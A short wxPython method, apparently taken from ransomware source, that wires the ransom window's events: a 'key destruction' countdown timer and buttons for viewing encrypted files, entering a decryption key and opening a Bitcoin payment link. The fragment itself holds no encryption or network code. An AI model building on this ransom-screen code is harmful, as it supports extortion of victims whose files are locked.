def set_events(self):
'''
@summary: Create button and timer events for GUI
'''
# Create and bind timer event
self.key_destruction_timer = wx.Timer()
self.key_destruction_timer.SetOwner( self, wx.ID_ANY )
self.key_destruction_timer.Start( 500 )
self.Bind(wx.EVT_TIMER, self.blink, self.key_destruction_timer)
# Create button events
self.Bind(wx.EVT_BUTTON, self.show_encrypted_files, self.ViewEncryptedFilesButton)
self.Bind(wx.EVT_BUTTON, self.show_decryption_dialog, self.EnterDecryptionKeyButton)
self.Bind(wx.EVT_BUTTON, self.open_url, self.BitcoinButton)
评论列表
文章目录